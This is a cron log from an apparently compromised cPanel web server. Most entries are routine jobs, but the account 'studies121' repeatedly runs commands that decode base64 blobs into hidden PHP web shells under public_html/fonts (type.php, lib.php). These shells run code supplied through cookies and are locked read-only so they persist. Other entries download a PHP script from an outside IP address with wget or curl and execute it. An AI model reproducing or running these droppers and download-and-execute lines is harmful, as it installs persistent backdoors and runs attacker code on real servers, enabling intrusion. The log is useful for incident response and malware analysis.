Sep  1 11:25:01 ip-184-168-122-23 CROND[13870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:25:01 ip-184-168-122-23 CROND[13872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:26:01 ip-184-168-122-23 CROND[14017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:26:01 ip-184-168-122-23 CROND[14018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:26:01 ip-184-168-122-23 CROND[14019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:26:01 ip-184-168-122-23 CROND[14023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:26:01 ip-184-168-122-23 CROND[14025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:27:01 ip-184-168-122-23 CROND[14132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:27:01 ip-184-168-122-23 CROND[14133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:27:01 ip-184-168-122-23 CROND[14134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:27:01 ip-184-168-122-23 CROND[14137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:28:01 ip-184-168-122-23 CROND[14222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:28:01 ip-184-168-122-23 CROND[14223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:28:01 ip-184-168-122-23 CROND[14227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:28:01 ip-184-168-122-23 CROND[14228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:28:01 ip-184-168-122-23 CROND[14229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:29:01 ip-184-168-122-23 CROND[14333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:29:01 ip-184-168-122-23 CROND[14335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:29:01 ip-184-168-122-23 CROND[14336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:29:01 ip-184-168-122-23 CROND[14338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:30:01 ip-184-168-122-23 CROND[14482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:30:01 ip-184-168-122-23 CROND[14485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:30:01 ip-184-168-122-23 CROND[14486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:30:01 ip-184-168-122-23 CROND[14487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:30:01 ip-184-168-122-23 CROND[14494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:30:01 ip-184-168-122-23 CROND[14491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:30:01 ip-184-168-122-23 CROND[14490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:30:01 ip-184-168-122-23 CROND[14492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:31:01 ip-184-168-122-23 CROND[14725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:31:01 ip-184-168-122-23 CROND[14727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:31:01 ip-184-168-122-23 CROND[14729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:31:01 ip-184-168-122-23 CROND[14728]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:31:01 ip-184-168-122-23 CROND[14730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:32:01 ip-184-168-122-23 CROND[14910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:32:01 ip-184-168-122-23 CROND[14912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:32:01 ip-184-168-122-23 CROND[14913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:32:01 ip-184-168-122-23 CROND[14915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:32:01 ip-184-168-122-23 CROND[14914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:33:01 ip-184-168-122-23 CROND[15024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:33:01 ip-184-168-122-23 CROND[15027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:33:01 ip-184-168-122-23 CROND[15028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:33:01 ip-184-168-122-23 CROND[15026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:34:01 ip-184-168-122-23 CROND[15126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:34:01 ip-184-168-122-23 CROND[15128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:34:01 ip-184-168-122-23 CROND[15127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:34:01 ip-184-168-122-23 CROND[15134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:34:01 ip-184-168-122-23 CROND[15133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:35:01 ip-184-168-122-23 CROND[15250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:35:01 ip-184-168-122-23 CROND[15251]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 11:35:01 ip-184-168-122-23 CROND[15252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:35:01 ip-184-168-122-23 CROND[15253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:35:01 ip-184-168-122-23 CROND[15255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:35:01 ip-184-168-122-23 CROND[15254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:35:01 ip-184-168-122-23 CROND[15257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:35:01 ip-184-168-122-23 CROND[15258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:36:01 ip-184-168-122-23 CROND[15371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:36:01 ip-184-168-122-23 CROND[15375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:36:01 ip-184-168-122-23 CROND[15373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:36:01 ip-184-168-122-23 CROND[15374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:36:01 ip-184-168-122-23 CROND[15376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:37:01 ip-184-168-122-23 CROND[15483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:37:01 ip-184-168-122-23 CROND[15482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:37:01 ip-184-168-122-23 CROND[15485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
